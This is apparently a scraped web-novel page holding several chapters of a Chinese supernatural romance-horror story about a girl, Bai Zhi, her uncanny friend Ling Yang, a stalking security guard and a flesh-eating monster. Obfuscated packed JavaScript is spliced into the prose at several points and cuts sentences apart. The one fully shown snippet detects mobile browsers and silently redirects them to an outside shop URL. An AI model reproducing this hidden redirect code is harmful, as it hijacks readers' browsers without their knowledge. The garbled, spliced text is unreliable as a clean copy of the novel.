;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他完全想不起自己当初爱她爱到疯魔究竟是种什么样的感觉了,更难相信自己曾经竟然会因为她对别的男人的亲近,而感到烈火焚烧般的痛苦和妒意。 明明都是些低劣的情感,他怎么会被这种东西左右? 凌漾想不明白。 况且,白栀在感情上完全是个贪心又任性的小孩子,想要很多人很多人的爱,可她到底爱谁,恐怕连她自己都不清楚。 她甚至能做出在他身死不久后,就迫不及待找江礼寻求安慰这种事。 当然,现在的他并不在意这个。 只是她也没有哪里值得他喜欢就是了。 苏醒后的凌漾并不完整,她身体里有一部分力量属于他,如果不取回来,他就无法补全自身。 所以苏醒后,他一直在考虑什么时候拿回自己的东西。 可白栀幼时车祸濒死,就是仰仗着他给她的这部分力量才能活下去,取回力量和杀了她没有本质区别。 现在的凌漾对她既没有爱意,也没有恨意,无动于衷得就像面对一个陌生人,对他来说决定她的生死,并不比决定是否要掐断一朵花的茎叶困难多少。 可是,或许是身体还残存着爱她的惯性,每当他想要下手时,总会有股莫名其妙的情绪在阻止他。 不想伤害她。 他……不想伤害她。 尽管那只是隐隐约约、星星点点的情绪,有如随时可能断裂的细丝一样脆弱稀薄,可就在这点微渺情绪的牵扯下,不知为何……他竟然真的没有动手。 这让他有点困惑。 不过,凌漾懒得去深究“为什么”这种无聊的问题,总归这种状态不可能一直持续下去。 毕竟他不需要感情这种多余的东西,也不可能再莫名其妙地爱上她。 通过今天的接触,他更是确信他已经不喜欢她了,心脏的位置空空荡荡,对她的爱意连一丝一毫都没剩下。 那么,曾经残留的那点爱她的惯性,又能支撑多久? 等这缕微弱的爱意彻底消散,就随手解决掉她好了。 他百无聊赖地想。 7. 第七章 危险近在眼前,但白栀并不知道。 她只是按照同学的通知前往办公室,抬手敲了敲门:“张老师在吗?我是白栀。” 门里传来一个温柔的女声:“请进。” 这会儿刚放学不久,办公室里除了一班班主任张老师外,还有其他班的老师也在场。 好学生老师都认识,白栀一一和各位老师问了好,才走到张老师面前。 “坐。”张老师含笑示意,“找栀栀你来也没什么特别重要的事,就是想着快毕业了,还没和你聊聊。你是决定出国读书,还是留在国内参加高考呢?” 海市底蕴深厚、经济发达,市内本来就有举世闻名的大学,所以景明的学生选择出国读书的和留下来高考的大概对半分,部分精力充沛成绩特别优异的优等生会做两手准备,显然白栀是后者。 “嗯,不知道呢……我还没想清楚到底是出国还是留在滨海。” 之所以没考虑这个问题,是因为白栀觉得自己的任务最迟在大学开学前就能完成,到时候她已经脱离这个世界了,读哪所学校当然无关紧要。 “这样啊。”老师点了点头,开了个玩笑,“之前问凌漾,他也说他没想好,你们俩是准备商量着去同一所学校吗?” 白栀有点无奈地拖长了声音:“老师……” “哈哈哈哈好了好了,不逗你了。” 玩笑过后,张老师又正色叮嘱了她几句“重要抉择上千万不能感情用事”“女孩子要多为自己的前程考虑”之类的话,才准备放她走。 离开前,她像是突然想起了什么:“对了,栀栀你是住城南的玉榕府吧?回家路上会经过兴和小区吗?” “好像会……怎么了?” “苏玥就住兴和小区,她之前参加完竞赛之后,可能是压力太大,一下子病到了,请了好几天病假,月考也没来学校。苏玥是要参加高考的,学习一天都耽误不得,所以我想你如果方便的话,能顺路把这几天的试卷和习题捎给她吗?” 听到苏玥的名字,白栀有点犹豫。 苏玥是她的同班同学,家境优越,学习勤奋,每次考试成绩基本都保持在前五以内。 但她为人比较清高傲气,既看不起那些家境普通的好学生,又看不起那些不爱学习的“纨绔子弟”,很多同学都觉得她很“装”,以致苏玥人缘一直不太好。 本来这也没什么,但是去年,苏玥家破产了,不仅一下失去了衣食无忧的大小姐身份,听说家里还欠了一大笔外债。 虽然苏玥还是一如既往地冷漠孤傲,不给别人看她笑话的机会,但白栀知道苏玥没有表现出来得那么平静,她曾经在学期末的卫生间里撞见过偷偷哭泣的苏玥。 她们学校财大气粗,每学期都会发放奖学金,可是如果想拿第一档奖学金的话,整个学期考试成绩必须保持在前五以内。 而那次,大概是受到了家里的影响,苏玥考得不算太好,最终成绩只排到了第六。 对原本的苏玥来说,奖学金或许只是锦上添花,拿不到也无所谓,但对现在的苏玥来说,这笔钱显然不是什么小数目。 那个学期综合成绩排第一的是白栀,不过她物欲低,对金钱没太大需求,所以在知道苏玥家里的情况后,她就私下和老师商量,没要这笔奖学金,按照排名把它顺延给了更需要钱的苏玥。 但苏玥自尊心很强,似乎是觉得白栀的行为伤到了她的自尊,并不领她的情,还原封不动地把奖学金退了回去。 苏玥似乎因为这件事有点讨厌她,之后也没给过她什么好脸色。 白栀不太在意这个,为了立自己“温柔善良的白月光”人设,无论男女,无论对方什么态度,她都是一视同仁地温柔友善。 从某种意义上来说,这也算是一种敷衍。 听张老师这样说,白栀犹豫了一下,还是接过了试卷:“好的,我会给她送过去的。” 苏玥家破产后抵押了名下房产,搬去了兴和小区,这是一座多年前修建的老旧小区,楼层不高,灰白色的水泥墙上蜿蜒着郁郁葱葱的爬山虎,夕阳照过来的时候,会显得格外翠绿漂亮。 白栀按照老师给的地址找到了苏玥家,她家住3栋2单元603号,深灰色的防盗门,门外贴着的红色对联看起来破破旧旧的,还沾有黑色的污渍,似乎多年没换过了。 栀栀敲了敲门:“苏玥同学,你在家吗?我是白栀。” 她的声音回荡在空旷寂静的楼梯间内。 许久,都没有人回应。 也许是没听到? 顿了一下,栀栀继续敲门:“苏同学?苏玥同学?你在家吗?” 这一次,门里传来了苏玥的声音:“什么事?” 她的声音模模糊糊的,是楼梯间太空旷的原因吗?栀栀觉得她说话听起来像是有回音似的。 栀栀担忧道:“苏同学,听说你生病了,现在感觉好点了吗?需要去医院看看吗?” “不用了,我没事。”门里的人说道,“找我有什么事吗?” “啊,是这样的。马上就要高考了,张老师看你最近一直没来学校,担心会落下复习进度,所以让我给你送试卷和习题,我还整理了一些课堂笔记给你,你方便开门拿一下吗?” “好啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白栀试探着叫了一声她的名字。 因为周围很静,静得只能听见蝉鸣,所以她很确定底下的人影一定能听见她的声音。 可是,那个人不知道是听见了还是没听见,一句话没说,只是径直往前走,不过几秒,路灯就照不到她了。 那个人的身影彻底没入了黑暗。 别墅四周空无一人,死寂之中,夏蝉的鸣叫声越发躁动。 明明是初夏,白栀却突然觉得有点冷。 8. 第八章 “滴滴。” 衣服口袋里突然传来了提示音,白栀怔了一下,拿出手机,发现是张老师发来的消息。 【栀栀,你到家了吗?】 【到家了,试卷我也送给苏玥了。】 【好的,早点休息,麻烦你了^_^】 【不客气,这是我应该做的。】 白栀想了想,又给她发了一条消息。 【张老师,苏玥病得很严重吗?她好像连着请了好几天的假,我有点担心。】 【这个不太清楚,她没细说……不过苏玥这孩子一向勤奋努力,不可能假装生病请假逃课,我想着她都主动请假了,肯定是病得有点严重,就多批了几天假。】 【我记得您说苏玥是参加完前不久的数学竞赛后开始生病的?是在哪里参加的竞赛呀?】 【是滨海一中,你忘了吗?数学竞赛举办地点一直都是我们学校和滨海一中轮着来的呀。上次是我们学校,这次就轮到滨海一中办了。】 滨海一中。 这个熟悉的校名,让白栀突然想到了前不久听到的关于滨海一中的“吃人怪谈”。 「“……死得可惨了,血肉和内脏全都被吃掉了,听说最后只找到了一些毛发和碎骨头……”」 同学的话回荡在她的脑海中。 她打开网页,试着搜索和滨海一中相关的话题,却并没有看到什么“吃人”相关的讨论。 有且仅有的,是滨海一中不久前发生的“捅人事件”,说是伤人者学习压力太大,才会精神失常捅了同学,学校官方还特意发公告呼吁大家学习要劳逸结合。 看起来一切都很正常。 刚才那个穿着景明校服的人影……真的是苏玥吗? 玉榕府里,除了她和凌漾以外,似乎没有其他在景明就读的同学。 可是那个人一头长发,身形上看十分瘦弱,明显是个女孩子。 但如果真的是苏玥,她为什么要到这里来? 她怀疑自己是否是因为凌漾的异常过于敏感了,但心里的古怪感却始终挥之不去。 白栀抬起头,凌漾就住她家对面,从落地窗望出去正好可以看见他家的别墅,以往他们总是一起上学放学,她到家时看见对面的别墅亮起来,就知道他也到家了。 可是今天,明明已经这么晚了,对面的别墅却始终笼罩在一片朦胧的黑色中。 凌漾好像还没回来。 窗外的风渐渐大了起来,天气预报说今晚可能会有大暴雨。 白栀思索片刻,给物业的安保人员发了个消息:【陈哥好,不好意思打扰了,我想问一下,今天玉榕府有外面的客人进来吗?】 “陈哥”大名陈远山,是这里的安保人员,比她大不了几岁,平时负责夜间巡视的工作,对她也比较关照。 陈远山消息回复得很快:【有两个……怎么了?】 白栀向他描述了一下今天傍晚见到的那个人影的特征。 【没有这个人。】陈远山回答得很肯定,【今天来的两个访客都是男性,身高虽然不是特别高大,但也不会被错认成女孩子。】 【监控里也没有拍到这个人吗?】 【没有。】陈远山解释道,【白栀你也知道,我们这儿管理都是很严格的,外人不能随便进入,就算要进出都是要由业主带着,还要登记信息。而且每天晚上我们都会巡逻,知道你现在一个人住,每次路过你家我们都会更仔细留意有没有问题,如果有可疑人物出现,我们肯定会发现的。】 【嗯,谢谢陈哥,让你们费心了。】 【不用客气,这是我们应该做的。】说着陈远山还开了个玩笑,【怎么突然担心起这个来了?你的护花使者呢?他没在你身边?】 【凌漾有事,没和我一起回来。】白栀补充道,【而且他不是我的护花使者,我们只是朋友。】 虽然监控显示没有外人进来,但白栀也没放松警惕。 她在别墅三层挨个检查了一圈,确定没有可疑迹象,门口的可视门铃能正常工作,又给智能密码锁换了新电池,这才回到卧室,反锁了房门。 因为总是一个人住,白栀早就和物业还有保安搞好了关系,她长得漂亮,人又温柔可爱,还时不时送人点小礼物,大人们都愿意多照顾她几分。 不过她麻烦旁人的时候并不多,凌漾就住她对面,平时真有什么事,她打个电话他就过来了,比安保人员和警察来得都快。 可是今天,直到她洗漱完毕准备睡觉,对面别墅的灯也没有亮起来。 凌漾好像一直没回家。 * 这一觉,白栀睡得并不安稳。 她梦到了和凌漾第一次见面时的情形。 那时他们刚搬来玉榕府不久,为了探索新地图,她拿着系统商城里买的手工饼干,借着和邻居打好关系的理由,挨个敲门送人。 【“阿姨好,我叫栀栀,是最近新搬来的住户。我妈妈烤了手工饼干作为见面礼,让我带给其他小朋友,希望大家以后可以好好相处。”】 【“谢谢你妈妈的好意,不过饼干就不用了。”】 【“阿姨,你就收下饼干吧,真的很好吃,我妈妈烤了好久的。”】 或者是门里的人不希望她长时间站在这里引人注目——短暂的犹豫之后,门还是打开了。 对方是个中年妇女,容貌普通,气质柔和,打扮并不雍容,应该是这家的保姆。 这座别墅的装潢十分奢华复古,客厅的背面是巨大的落地窗,落地窗外种满了常青树,金色的阳光照在树叶上,微风拂过,碎影在客厅的木质地板上晃动摇曳。 树影正中,坐着一个小男孩。 他背对着她,从身形上看,应该和白栀差不多大。 六、七岁的小孩子正是好奇心旺盛的时候,可是白栀和保姆在这里说了半天话,男孩却没有过来凑热闹的意思。 或许是她看他的时间太久,一直背对着她的男孩似乎有所察觉,突然侧过头,抬眼朝着她的方向望了过来。 那是一张精致的、空洞的脸。 明明没有风,走廊上的风铃却叮叮当当地响了起来。 室内好像突然降温了。 白栀望着那个男孩,她知道他是凌漾,也知道按照回忆,她下一步就应该转身离开。 可是她动也不能动,甚至无法移开视线。 因为梦境中那个无比熟悉的男孩,突然散落成了无数黑白色的“线”,“黑线”和“白线”翻涌着缠绕上她的手腕、脚踝、躯干,紧紧包裹着她、束缚着她……遮挡了她的所有视野,直到将她彻底淹没。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142940|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白栀被惊醒了。 * 暴风雨果然来了。 屋外大雨倾盆,狂风呼啸而过,吹得落地窗微微震颤,树枝在风雨中疯狂晃动,仿佛一截截苍白的手臂在乱舞。 空气中充斥着雨水的湿冷感,还有泥土混合青草的腥气,让人有些不适。 墙上的石英钟滴滴答答地走着,现在是凌晨三点。 小腹处隐隐作痛,白栀满头冷汗地起身,才发现自己月经提前了。 她换好卫生巾,想开灯去楼下拿止痛药,然而按下开关后灯却没有亮。 停电了。 白栀握住卧室门把的手微微一顿。 独居女性大概都听说过这个例子,一个人住时,家里如果突然停电,千万不要着急出门查看,先拿出手机试试,如果能搜到邻居家的Wi-Fi,说明只有你家停电,这可能是坏人引诱你出门的手段。 但是她用手机试过了,周围一圈都没有热点。 也就是说,不止是她家,整个玉榕府都停电了。 更糟糕的是,不知道是不是暴风雨太大的缘故,她的手机一格信号都没有。 “叮咚——” 楼下突然传来了门铃声。 白栀瞬间有种寒毛倒竖的感觉。 有人在按她家的门铃? 可是这么晚了,外面雨又下得这么大,什么人会在这个时候上门拜访? 白栀打开手机,可视门铃的监控和她的手机连在一起,所以她不需要下楼,只通过手机就能看到门外的情况。 但是,监控视频显示外面漆黑一片,监控视野里空荡荡的,只有台阶旁的几株小花在风中晃动,其余什么都没有。 “叮咚——” “叮咚——” 门铃又响了几声。 可视门铃的监控区很广,如果要按响门铃,那个人必然会出现在监控中。 可现在,门铃在响,门外却空荡荡的。 没有人在按门铃。 那是门铃出故障了吗? 又或者是暴风雨太激烈,影响了门铃的敏感度,导致了误判? 毕竟以前偶尔也出现过这种问题。 “叮咚”声没能持续太久,几声过后,门铃彻底安静了下去,没有再响起。 或许真的是故障。 别墅里一片寂静,她的卧室也很静,静到她能清楚地听见自己急促的心跳声。 静得好像全世界就只剩下她一个人。 房间都是黑色的,入目之处,只能凭借手机微弱的光来照明。 无光无声的环境里,每一秒都被拉得无比漫长。 屋外暴雨不歇,屋内却一片死寂,像是泾渭分明的两个世界。 白栀犹豫片刻,最终松开握住门把的手,放弃了开门去客厅拿止痛药的想法。 反正也没痛到昏迷的程度,还是忍忍吧。 她想。 白栀重新躺回床上,她缩进温暖的被子中,在床上翻来覆去了几圈,缓缓闭上了眼睛。 希望明早醒来,暴风雨就已经停了。 如此祈祷着,白栀迷迷糊糊地坠入梦中,就在这时,楼下响起了冰冷的机械女声。 是智能密码锁的提示音。 “门已开,请进。” 9. 第九章(修) 白栀以前在游戏部工作的时候,因为工作性质,接受过很多专业的训练,格斗术、极限环境求生能力、甚至包括各种武器的熟练使用,这些统统都不在话下。 但是,这个世界的她是个软妹,还是个心脏有点小问题的软妹,为了符合人设,白栀身上确实没有锻炼出多少肌肉含量。 楼下传来的声响,让她瞬间清醒,警惕心被拉到最高,她立刻起身下床,从抽屉里翻出一把小巧的三棱刺。 这是她用来防身的工具,虽然体积不大,但是具有三面刀刃,能最大程度强化穿透力,被三棱刺刺中,伤口会很难愈合。 格斗技巧还刻在脑子里,但是这副身体恐怕很难熟练地用出来。 不过这也够了,曾经的战斗经验加上锋利的三棱刺,只要不是团伙作案,她一个人也足够应付了。 坐以待毙不是她的风格,贸然进入的陌生人也不会比她更熟悉这栋别墅的结构,白栀深吸一口气,紧紧握着三棱刺,像猫一样悄无声息地隐入黑色中,静静地等待着闯入者的到来。 一道刺目的白光突然晃过她的眼睛。 是手电筒的光。 那个人带了手电筒不说,居然还就这么开着直接进来了! ……这是不是有点过于嚣张了? 生怕主人发现不了吗? 白栀一下被这个不按常理出牌的做法弄得有点懵,等看清楚对方的脸后,她更是直接愣住了:“……陈哥?” 出现在别墅里的人,正是今晚她才联系过的陈远山。 他穿着工作制服,面色惨白又古怪:“白栀,你家里进人了!” “……什么?” “我刚才看到了……因为你发的消息让我有点担心,所以今晚巡逻的时候我特别在你家别墅周围多待了一会儿,想看看有没有可疑的人……我等了很久都没什么收获,就在我准备离开的时候,我突然看见有个人影站在你家门口。” “说不清那个人影是什么时候出现的,她头发很长,好像是个女人,就那样直直地站在你家门前,一动也不动。我大声叫住那个人,质问她为什么会出现在这里,可是她就像是完全听不见我的话似的,直接开门进来了!” 陈远山又是恐惧又是担忧:“我担心你会出事,赶紧跟进来看看,但是进来之后那个人影就消失了……你没看到那个女人吗?” “……没有。” “她现在肯定就藏在别墅的哪个位置,刚好我带了手电筒,我们把每一层都检查一下吧,以防万一。” 陈远山焦急地说,他脱下被淋湿的雨衣,就要往屋内走。 “轰——” 一道闷雷惊起。 闪电划破了夜空,蓝白色的光在一瞬间照亮了别墅的客厅,也照亮了别墅中的两人。 一把闪着寒芒的三棱刺直直地横在了他面前,锋利的棱尖阻止了他向前的步伐。 陈远山一顿,脸上的神色也僵硬了几分。 诡异又微妙的氛围在空气中蔓延,两人一时间都没有说话。 陈远山望着横立在自己面前的三棱刺,强笑道:“……这是怎么了?这是什么意思?” “没什么。”白栀说,“只是现在已经很晚了,陈哥还是早点回去休息吧。” “……白栀,你家里进了陌生人,现在情况很危险,我不能留你一个人在别墅里啊。”陈远山诚恳地说,“我们好歹也认识这么多年了,你现在拿出这个东西对着我……真是有点伤感情了。难道……你怀疑我是坏人吗?” “陈哥说的太严重了,我不是怀疑你是坏人,我只是突然想到,夜间巡逻一般不都至少是两人一组吗?陈哥的搭档呢?” “雨下得太大,我和小李想尽快完成工作,就决定分开巡逻,他负责另一片区域……这种安排平时也很常有,没什么可以怀疑的吧?”陈远山温言道,“倒是你,怎么会在家里放三棱刺这么危险的东西,这可不是女孩子该玩的,小心别伤到你自己了,还是先放下吧。” 说着说着,他就要伸手去拿三棱刺。 白栀当然不会给他这个机会,微微往后一撤,躲过了他伸来的手。 锐利的棱刺划过,在他的手掌心留下了一道不重不浅的伤口。 “请你离开。”白栀语气平静但坚决,“陈哥,谢谢你的好意,我心领了。如果真有什么问题,我想我自己也可以解决。现在,请你离开这里。” 虽然那个奇怪人影的事搞得她有点不安,可是白栀也不会心大到半夜三更放陌生男人进自己家。 陈远山刚才描述的和今天傍晚她看见的人影似乎别无二致,但仔细想想,这不就是今天她发短信的时候告诉他的内容吗? 他当然可以说得一模一样。 况且,平时夜间巡逻一般都是在十一点到一点之间,现在都凌晨三点过了,又下了这么大的雨,他现在出现在这里怎么想都很奇怪。 他是知道别墅只有她一个人住的。 陈远山没有回答,即便白栀已经把话说到这种份上了,他还是没有离开的意思。 相反,他甚至还向前走了一步,就停在离她一米左右的位置。 “栀栀——我可以叫你栀栀吧?”陈远山很轻地叹了口气,“栀栀,你别看我这样,其实我也正经大学出来的。像我们这种出身的人,就算来了大城市,到了富人区,拿了不薄的薪水,说到底,也不过是给‘老爷夫人们’看门的。” “有时候我真的很羡慕你,你比我还小几岁,从小就住在玉榕府这种寸土寸金的地方,衣食无忧。我呢,再不吃不喝奋斗个一二十年,大概都不够买下这里一间房子。” “不过我不讨厌你,相反,我很喜欢你。你还记得吗?有一次也是这样的下雨天,我上门寻访,不小心把你家的地毯弄脏了,全是湿漉漉的脚印,就在我尴尬地提出赔钱的时候,你却笑盈盈地说没事,不用我赔,洗洗就好了。” “其实你家铺设的是价值不菲的手工地毯,根本不能清洗,只能定期更换。只是为了不让我赔钱,所以说了个善意的谎言。” “我在玉榕府工作这几年,各种各样的有钱人也见了不少,那些人都眼高于顶,看不起我们这些普通人。就算偶尔有几个和善的,也大多是些表面功夫。只有你,永远这么温柔善良,对所有人都一视同仁,从不会看人下菜碟。” “我原以为你是不一样的,至少,和我那个嫌贫爱富的前女友不一样。可是到头来……你们根本没什么区别。”陈远山冷冷地说,“你和姓凌那小子在一起了吧?一个无父无母的小白脸,真是搞不懂你喜欢他什么……就因为他家有钱?” 白栀没有回答。 她也不认为自己有义务回答。 一个很有意思的事,男人总喜欢一边骂女人拜金,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142941|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边骂女人喜欢小白脸,那意思就是有钱的和长得帅的女人都不该喜欢? 那喜欢什么? 穷的和长得丑的吗? “可是,我想和谁在一起,想因为什么在一起,都和陈哥你没有关系吧?”栀栀天真地说,“你是以什么立场来质问我的呢?陈哥并不是我什么人吧?况且如果要说爱钱,世界上谁不爱钱呢?” “说实话,比我更温柔善良,对所有人都一视同仁的女孩子应该并不少见,陈哥之所以觉得我‘独特’,不也是因为我住在玉榕府吗?如果我不是住在玉榕府,而是住在一所普通的老旧小区,就算我对陈哥再怎么温柔友善,你恐怕也只会觉得这没什么大不了的吧?” 听了她的话,陈远山面色一沉,似乎有点恼羞成怒,他深吸了几口气,抑制住难看的脸色:“栀栀,这就是你对我的偏见了,你这样说真是让我有点伤心……不过没关系,就算你本质是个嫌贫爱富的女孩,我也还是很喜欢你的。我会向你证明,比起那些所谓的有钱人,我才是真正值得你喜欢的男人……” 他语气中带了几分让人毛骨悚然的缱绻,似乎还想伸手摸摸她的脸。 显然,即便白栀手中拿着三棱刺,在悬殊的体格差距面前,陈远山还是自负地认为她不会对自己造成什么威胁。 可他的手到底没能触碰到她的面庞。 “噗嗤——!” 是血肉被刺破的声音。 温热黏腻的血液飞溅了出来,带着些许血红色的肉块,似乎是部分碎片组织。 这不是白栀造成的伤口。 两人之间还隔着半米左右的距离,三棱刺还好好地握在她手中。 白栀惊呆了。 陈远山也惊呆了。 一切就像是电影里的慢镜头。 陈远山似乎还没反应过来发生了什么,他愣愣地低下头,看着自己的胸膛,那里被破开了一个大洞,可是里面露出来的不是跳动的心脏,而是一条鲜红色的、灵活有力的长舌。 那条长舌从背后洞穿了他的胸口,此刻正旋转着、贪婪地舔舐着他伤口周围模糊的血肉。 胸膛的位置空出了一个黑洞,空荡荡的。 那里没有心脏。 「他的……心脏呢……?」 这是他脑海中浮现的最后一个想法。 下一秒,体格高大的男人就像一条水泥袋似的,轰然倒下,直直地砸在了地上。 又是一道惊雷,闪电的光照得整座别墅一片惨白,也照亮了落地窗前的那道人影。 不知道它是什么时候出现在那里的,又或许,它一直都等在那里。 那的确是苏玥。 但也不是苏玥。 恍惚间,她突然明白了滨海一中为什么会流传出“吃人”的怪谈。 因为它的脸上、手上、腿上、脖子上……但凡它能露出来的每一寸肌肤,上面都长满了密密麻麻的“嘴”。 “班长,其实我真的不想吃掉你……我很努力地克制,我唯独不想伤害你……甚至就连你主动来找我,我那么饿,都克制着放过你了……可是……”“苏玥”似笑非笑似哭非哭地望着她,不知道是因为激动还是因为兴奋,它浑身都在剧烈颤抖,那些“嘴”在抖动的频率中慢慢张开,吐出猩红色的长舌,上百张嘴同时开口,就像上百个“苏玥”在同时说话,“……可是,你实在太香了。” 10. 第十章(大修) 屋外的暴雨掩盖了别墅内的咀嚼声,伴随着血肉被撕碎吞咽的声音,令人作呕。 早在看到“苏玥”的第一时间,白栀就立刻转身逃跑了,她反应很快,那根像蛇一样灵活的长舌只是浅浅“擦”过她的皮肤,尽管这样,她的手还是受伤了。 不是她不想放手一搏,只是面对这样浑身长满“嘴”、舌头能直接洞穿人体的怪物,以她现在的身手……三棱刺可能起不了太大的作用。 而“苏玥”又恰好堵在了大门的位置,向外逃跑,属于是羊入虎口。 似乎是觉得白栀已经无路可逃,短暂衡量后,怪物没有选择立即追上来,而是停在原地,先食用起了陈远山。 即便有暴雨做配,白栀也能清楚地听见血肉和骨头被撕裂嚼碎的声音。 不用想也知道,等怪物食用完毕,下一个就轮到她了。 空气中弥漫着血腥味,白栀咬了咬牙,不去考虑现在客厅是个什么景象,只顾着往书房的方向跑。 海市可以合法持枪,白父闲暇时爱好枪械射击,他不仅喜欢去俱乐部玩,还办理了持枪证,书房的保险箱里就放着一把Glock19c。 现在别墅里没电又没信号,就算想求救都不知道该找谁,那个怪物虽然瘆人,但看起来也是碳基生物,想来应该会怕子弹的攻击。 可是等她找到那把Golckc19的时候,白栀才崩溃地发现这把Golckc19是经过改装的,根本不是十五颗子弹的常规款,弹匣最多只能装十发,而她的便宜父亲大概是平时玩得比较嗨,所有弹匣都打空了,一颗子弹都没留给她。 白栀:“……” 难道真的只能拿三棱刺去肉搏了吗?! 白栀看着空空如也的弹匣,满心都是绝望。 就在这时,她听见了“滋滋”的电流声。 【……栀栀……听得见吗?】 不是幻觉。 这个试探中透着心虚的声音让她愣了一下,白栀随即大怒:“哇,你还知道出现啊!你怎么不干脆等我死了再来,直接给我收尸不是更好?!” 【你这是说的什么话。】系统支支吾吾,【我们、我们这种正经部门,是不会眼睁睁看着员工去死的……】 “呵呵,正经部门。”白栀冷笑,被欺骗的愤怒一时压过了恐惧,她狂喷系统,“是谁跟我说这是‘温馨治愈的校园恋爱漫’?!现在楼下那个怪物正在吃人诶!你要是丧尸那这的确是挺温馨治愈的!签合同的时候你们是怎么说的?!垃圾部门垃圾系统!我要去投诉你们!” 系统也急了,大声逼逼:【你怎么不想想我们给了你多少薪资呢?大家都知道花香蕉的钱就只能请到猴子!那我们花了馅饼的钱,你就该考虑一下前面是不是有陷阱了!】 “少狡辩了你这个黑心系统!”白栀没好气地说,“算了!时间紧急,之后再跟你算账!你赶紧给我几把热武器,我现在只有一把Glockc19,甚至还没有子弹,根本对付不了那个东西。” 【这个不行……】系统说,眼看又要点满白栀的怒槽,它连忙解释道,【不是我不想帮你,只是……唉,我实话告诉你吧!】 【白栀,你现在所处的这个世界,的确不是什么恋爱漫画,事实上,这是一个充斥着各种“扭曲”和“异常”的邪道漫画。像这样的邪道漫画世界有很多,里面全是些武力值爆表的怪物,放任自流的后果就是世界的崩坏,这也是我们找你来做任务的原因。】 “既然这样,你倒是送我点武器啊!”白栀忿忿道,“现在楼下就有一只怪物,你支援我点弹药,我刚好可以维护一下世界和平!” 【楼下那个,根本就算不上什么“怪物”。】系统说,【真正的“怪物”……其实早就出现在你身边了。】 白栀沉默了下来。 “是凌漾吗?” 她问。 【是。】 “……所以他到底是什么?我知道他有古怪,他能死而复生,并且好像有控制他人思想的能力,除我以外没人觉得他奇怪……他是鬼怪吗?或者是妖物?” 【不,他不是鬼怪,也不是妖物。准确来说,他是凌驾于这个世界之上的一种“规则”,一种“概念”。他就是“扭曲”本身,或者说,他就是“规则”本身。】 “……你解释得有点抽象,抱歉我没太听懂。”白栀说,“你直接告诉我他在这部漫画里的定位是什么?” 【终极BOSS,最后把能杀的角色都杀光了的那种,也算是超人气角色了。】系统说,【不知道你是运气好还是运气不好,一来就攻略了个最强的。】 “哇,没想到我的小伙伴还是漫画里的超人气角色呢。”常年当炮灰npc的白栀酸成了柠檬,阴阳怪气后她又疑惑,“可是我和凌漾相处这么多年,除了最近,没觉得他哪里有什么问题啊。忽略掉他那点小阴暗和控制欲,他也算是一个阳光开朗的三好学生吧,就很正常,不像是会大开杀戒的样子。” 【这就要问问你自己了,还记得你幼时经历的车祸吗?那场车祸其实很严重,在那块玻璃碎片刺进你心脏的时候,你原本就该死掉了,只是因为他,你才活到了现在。】 白栀微微一怔。 她想起来了。 那时他们都很年幼,认识他半年后的一天,她在拉着他出去玩的时候遇到了车祸,车辆撞击产生的玻璃碎片有一块直接插进了她的心脏,伤势太重,白栀差点以为自己就要死在这里了。 她并不害怕死亡,对任务者来说,死只是意味着脱离这个世界。 可那时的凌漾还是个患有自闭症的小孩,家财万贯但又父母双亡,还被保姆虐待,身边并没有信得过的大人,如果她死了,他该怎么办? 所以,那时她唯一的想法是—— “如果凌漾能成为正常人就好了。” 【他回应了你的心愿。】 系统说。 【这些年你应该也有感觉吧?简直就像是万能许愿机,但凡你喜欢的东西、想要做的事,总是会以各种方式圆满完成。因为凌漾就是“规则”本身,他潜意识里希望满足你的一切心愿,所以运气才会聚集在你身边。】 【但是,“规则”本来是不会有感情和偏向的,就像他幼时表现出来的那样,凌漾不是自闭症,他对外界没有反应,只是因为他本来就不需要回应外界的一切,因为他本身就不会有任何情绪。】 【可是,你成了例外。】 【在你车祸濒死的那一刻,我们意外检测到“规则”出现了剧烈的波动,凌漾不仅把自己的部分力量借给了你,把你从死亡边缘拉了回来,甚至还回应了你的心愿,如你所愿地成为了一个“正常人”。】 【不知道为什么,他封印了自己的记忆和力量,真的选择以“正常人”的身份和你一起长大,如果不是不久前的那场车祸,他也许永远不会回想起自己真实的身份,可能真的会就这样和你度过平凡的一生。】 【所以他当然可以做到死而复生,甚至扭曲所有人的思想和意识,毕竟他就是这个世界的“规则”本身。】 “可是……”骤然接收了这么多信息,白栀脑子很乱,“可是凌漾死而复生后,对我的态度很奇怪……原本他对我的好感度是满值的,但是现在,他对我的好感度直接降到了零……这又是怎么回事?” 